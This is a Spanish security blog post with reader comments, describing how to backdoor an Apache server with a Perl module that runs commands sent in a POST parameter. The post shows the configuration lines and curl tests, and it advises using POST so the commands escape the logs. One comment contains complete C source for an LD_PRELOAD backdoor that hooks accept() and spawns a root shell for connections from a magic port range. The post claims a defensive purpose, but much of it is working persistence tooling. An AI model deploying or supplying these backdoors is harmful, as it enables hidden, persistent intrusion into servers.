17 julio 2012

Backdooring Apache

A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el 'background' posible de las amenazas que te acechan.

El mundo de las 'backdoors' o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.

Este tipo de webshells tienen varios hándicaps:
  • Supone añadir un fichero en el directorio 'caliente' donde están las aplicaciones web.
  • Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado 
En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.

Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo 'backdoor' que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.

El código fuente del módulo es este:


Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.

Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)

Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf

<Location /auxiliar>
 SetHandler  perl-script
 PerlHandler Apache2::Auxiliar
</Location>


Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.

La probamos:

$ curl -d "n=ls" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var


</BODY>

$ curl -d "n=whoami" http://192.168.4.66/auxiliar

<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>

apache


</BODY>
</HTML>


Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta:

Petición tipo GET almacenada en fichero de log:

GET /auxiliar?n=ls HTTP/1.1

Petición tipo POST almacenada en fichero de log:

POST /auxiliar HTTP/1.1

7 comments :

Victoria dijo...

Voy a empezar a probar todas estas cosas... Entiendo mas o menos las ideas pero no como se hacen, asi que ¡a intentarlo con todo!
Me encantaria entender todos los conceptos, lenguajes, herramientas... Poco a poco :)

Román Ramírez dijo...

En su momento le estuve dando una vuelta a este tema, sobre todo para tener control remoto de esa máquina sin tener que hacerlo de una forma "interactiva", y pensé en hacer peticiones GET con base64 y variables que sonaran a "cookie", de forma que el módulo leyera del log de apache y ejecutar lo que fuera...


Desventaja: es un poco enrevesado cuando hay formas más simples.
Ventaja: no tengo claro que lo use nadie.


Me quedo el código de tu módulo por cierto :))

Zion3R dijo...

Muy bueno. Se agradece.
SAlu2

Iván García dijo...

curioso.. solo un apunte, el POST se puede loguear perfectamente..

Yago Jesus dijo...

Hasta donde yo sé, la única forma de hacer eso es emplear módulos como 'mod_dumpio' y es una solución bastante agresiva que yo, a día de hoy, nunca he visto configurada en un Apache

Iván García dijo...

Con mod_security permite entre otras cosas loguear el post completo. Dumpio la verdad no lo he visto..
s2!

NighterMan dijo...

/*
*
* Stupid backdoor
*
* Build:
* $ gcc -ldl -shared -nostartfiles -fpic hook-accept.c -o hook-accept.so
*
* Run:
* LD_PRELOAD=/lib/hook-accept.so service_cmd
*
*/



#define _GNU_SOURCE

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include

#include
#include

#include
#include
#include


#define SPORT_START 4000 /* Owner source port conns start */
#define SPORT_END 5000 /* Owner source port conns end */


/* Networking functions */
int (*real_accept)(int s, struct sockaddr *addr, socklen_t *addrlen);
int (*real_accept4)(int s, struct sockaddr *addr, socklen_t *addrlen, int flag);


void spawn_shell(int sockfd)
{
char *newargv[] = { "/bin/bash", NULL };
char *newenv[] = { NULL };

/* close standard descriptors */
close(0);
close(1);
close(2);

/* Reopen them with network fd */
dup(sockfd);
dup(sockfd);
dup(sockfd);

/* Try to setgid */
setuid(0);

/* spawn the shell */
execve("/bin/sh", newargv, newenv);
}


/*
* Hook accept function to spawn a shell on active services
* when source connection port comes from the magic port
*/
int accept4(int s, struct sockaddr *addr, socklen_t *addrlen, int flags)
{
int fd;
uint16_t port;

struct sockaddr local_addr, *taddr;
socklen_t local_addrlen, *taddrlen;

/* Check if addrlen was supplied otherwhise use local */
if (addrlen) {
taddr = addr;
taddrlen = addrlen;
} else {
taddr = &local_addr;
taddrlen = &local_addrlen;
local_addrlen = sizeof(local_addr);
}

/* Check for available accept4() if required */
if ((flags) && (real_accept4))
fd = real_accept4(s, taddr, taddrlen, flags);
else
fd = real_accept(s, taddr, taddrlen);

/* Success? */
if (fd != 1) {
port = ntohs(((struct sockaddr_in *)taddr)->sin_port);

/* Check for special port */
if ((port >= SPORT_START) && (port <= SPORT_END)) {
if (fork() == 0)
spawn_shell(fd);

close(fd);
errno = ECONNABORTED;

return -1;
}

}

return fd;
}


int accept(int s, struct sockaddr *addr, socklen_t *addrlen)
{
return accept4(s, addr, addrlen, 0);
}



void _init(void)
{
real_accept = dlsym(RTLD_NEXT, "accept");
real_accept4 = dlsym(RTLD_NEXT, "accept4");
}